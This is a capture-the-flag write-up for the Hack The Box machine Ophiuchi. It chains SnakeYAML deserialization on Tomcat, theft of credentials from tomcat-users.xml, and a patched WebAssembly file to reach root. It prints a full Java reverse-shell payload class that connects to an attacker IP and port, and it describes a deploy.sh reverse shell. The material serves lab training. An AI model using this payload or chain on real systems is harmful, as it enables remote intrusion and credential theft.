Hack The Box: Ophiuchi


Jump Ahead: EnumUserRootResources

TL;DR;

To solve this machine, we begin by enumerating open ports – finding only 22 and 8080 open. From the webserver on port 8080, we exploit a Java deserialization vulnerability to get a reverse shell as tomcat. Looking around the machine, we find credentials for the admin user – allowing access to user.txt. After getting a shell as admin, we run our quick manual checks, and find we can compile and run a go program as root. The program allows for code execution if exploited to meet the required condition. To exploit the condition, we have to reverse engineer a required file, and patch it. After patching the required file, we exploit the root provisioned command to get a reverse shell. As root, we are allowed to read root.txt.

Enumeration

Like all machines, we begin by enumerating open ports – findings ports 22 and 8080 open.

$ sudo nmap -v -sV -A -p- -oA enum/nmap/tcp-all-scripts 10.129.102.109
# Nmap 7.91 scan initiated Sun Feb 14 12:14:25 2021 as: nmap -sV -A -p- -oA enum/nmap/tcp-all-scripts 10.129.102.109
Nmap scan report for 10.129.102.109
Host is up (0.043s latency).
Not shown: 65533 closed ports
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 6d:fc:68:e2:da:5e:80:df:bc:d0:45:f5:29:db:04:ee (RSA)
|   256 7a:c9:83:7e:13:cb:c3:f9:59:1e:53:21:ab:19:76:ab (ECDSA)
|_  256 17:6b:c3:a8:fc:5d:36:08:a1:40:89:d2:f4:0a:c6:46 (ED25519)
8080/tcp open  http    Apache Tomcat 9.0.38
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Parse YAML
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.91%E=4%D=2/14%OT=22%CT=1%CU=41440%PV=Y%DS=2%DC=T%G=Y%TM=602968B
OS:A%P=x86_64-pc-linux-gnu)SEQ(SP=FE%GCD=1%ISR=10D%TI=Z%CI=Z%TS=A)OPS(O1=M5
OS:4DST11NW7%O2=M54DST11NW7%O3=M54DNNT11NW7%O4=M54DST11NW7%O5=M54DST11NW7%O
OS:6=M54DST11)WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6=FE88)ECN(R=Y%D
OS:F=Y%T=40%W=FAF0%O=M54DNNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0
OS:%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=
OS:Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%
OS:RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=40%I
OS:PL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S)

Uptime guess: 33.424 days (since Tue Jan 12 02:05:05 2021)
Network Distance: 2 hops
TCP Sequence Prediction: Difficulty=254 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 143/tcp)
HOP RTT      ADDRESS
1   41.80 ms 10.10.14.1
2   41.97 ms 10.129.102.109

Read data files from: /usr/bin/../share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Feb 14 12:15:22 2021 -- 1 IP address (1 host up) scanned in 57.06 seconds

Based on the fingerprinting, port 8080 is running an Apache Tomcat webserver. Checking Tomcat Manager (/manager) for default credentials does not work, so we launch other web enumeration tools such as gobuster and nikto. These do not return any valuable results.

Getting User

Going to the main page, we see that the webserver is hosting a yaml parser. When we attempt to use it, the webserver produces an error.

Checking the source code, we do not see anything of particular interest. As the webserver is Apache Tomcat (which uses Java), we Google “yaml java exploit”. In our research, we find this article, which details a remote code execution vulnerability in SnakeYAML – a YAML parser for Java. In the article, it gives a POC that connects to a webserver and attempts to access a file. To verify we found a valid vulnerability, we start a netcat listener on port 80, and attempt the same POC.

Since the POC worked, we now have a valid vulnerability that we can attempt to exploit to get a reverse shell. Within the article, a GitHub repository is linked that we should be able to use to exploit the vulnerability. As the exploit documentation states, we edit AwesomeScriptEngineFactory.java to try to launch a bash reverse shell, however, we are not able to get it to work. We try other types of reverse shells, such as python and netcat, but these also fail. Through further research, we find that the failures are due to a limitation of the “Runtime.getRunTime().exec()” method. Since the exploit is written in Java, we Google for “Java reverse shells” and find this script. Next, we replace the code within the “AwesomeScriptEngineFactory” class of the “yaml-payload” code with the the code of the Java reverse shell. To get it to work correctly, we have to add the extra imports, and modify the class constructor. Lastly, we need to change the host and port. The final product looks like this:

package artsploit;

import javax.script.ScriptEngine;
import javax.script.ScriptEngineFactory;
import java.io.IOException;
import java.util.List;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.Socket;

public class AwesomeScriptEngineFactory implements ScriptEngineFactory {

    public AwesomeScriptEngineFactory() throws Exception {
    String host="10.10.14.53";
    int port=4433;
    String cmd="/bin/bash";
    Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();
    Socket s=new Socket(host,port);
    InputStream pi=p.getInputStream(),pe=p.getErrorStream(),si=s.getInputStream();
    OutputStream po=p.getOutputStream(),so=s.getOutputStream();
    while(!s.isClosed()) {
      while(pi.available()>0)
        so.write(pi.read());
      while(pe.available()>0)
        so.write(pe.read());
      while(si.available()>0)
        po.write(si.read());
      so.flush();
      po.flush();
      Thread.sleep(50);
      try {
        p.exitValue();
        break;
      }
      catch (Exception e){
      }
    };
    p.destroy();
    s.close();

    }

    @Override
    public String getEngineName() {
        return null;
    }

    @Override
    public String getEngineVersion() {
        return null;
    }

    @Override
    public List<String> getExtensions() {
        return null;
    }

    @Override
    public List<String> getMimeTypes() {
        return null;
    }

    @Override
    public List<String> getNames() {
        return null;
    }

    @Override
    public String getLanguageName() {
        return null;
    }

    @Override
    public String getLanguageVersion() {
        return null;
    }

    @Override
    public Object getParameter(String key) {
        return null;
    }

    @Override
    public String getMethodCallSyntax(String obj, String m, String... args) {
        return null;
    }

    @Override
    public String getOutputStatement(String toDisplay) {
        return null;
    }

    @Override
    public String getProgram(String... statements) {
        return null;
    }

    @Override
    public ScriptEngine getScriptEngine() {
        return null;
    }
}

After we’ve made the modifications to the “yaml-payload” code, we can rebuild the exploit. To get our reverse shell, we can start a netcat listener, and attempt to retrigger the exploit from the webserver by downloading the built jar file. Doing so, we get a reverse shell as tomcat.

Since we have a reverse shell as tomcat, and know that the webserver is hosting Apache Tomcat, we grab the manager credentials from /opt/tomcat/conf/tomcat-users.xml.

Trying the credentials using the su command, we get a shell as admin. Going to admin‘s home directory, we can now read user.txt.

Getting Root

Once we’ve gotten our shell as admin, we do our initial enumeration. Since we have a password for this user, we start with sudo -l. By doing this, we see that we are allowed to compile and run a go application located at /opt/wasm-functions/index.go. Next, we observe the script to try to understand what it does. Based on our observation, we should be able to run a shell script as root if we are able to get “1” to return from the “info()” function call.

To understand how to get “1” to return from the function call, we will need to decompile the WebAssembly file, main.wasm, as it contains the function definition. While researching tools to do this, we found this GitHub repository. Next, we clone the repository, and download the WebAssembly file. Using the wasm-decompile tool, we decompile the WebAssembly file, where we see the “info()” function unconditionally returns “0”. To execute the shell, we need to patch the function to return “1”.

As the decompilation is just a representation of the code, we look at the other tools the repository has to offer that will allow us to do a disassemble and reassemble. For these steps, we find the wasm2wat and wat2wasm tools. Using the wasm2wat command, we disassemble the WebAssembly file. On line 4, we see “i32.const 0”. As we know that currently the function returns “0”, we assume this is the line we should patch to be “1”. We change the return value to “1”, and convert the wat file to WebAssembly. To confirm we made the patch correctly, we use wasm-decompile.

Now that we’ve successfully patched the WebAssembly file, we upload it to the remote machine into the admin user’s directory. Since the only thing the program does is run deploy.sh, we create a deploy.sh file that just executes a bash reverse shell. Finally, we start a netcat listener, and execute the privileged go command. We get a reverse shell as root, and can now read root.txt!

Thank you for taking the time to read my write-up. I am interested in other ways this machine has been solved. Feel free to reach out to me and we can discuss it. Thanks!

Resources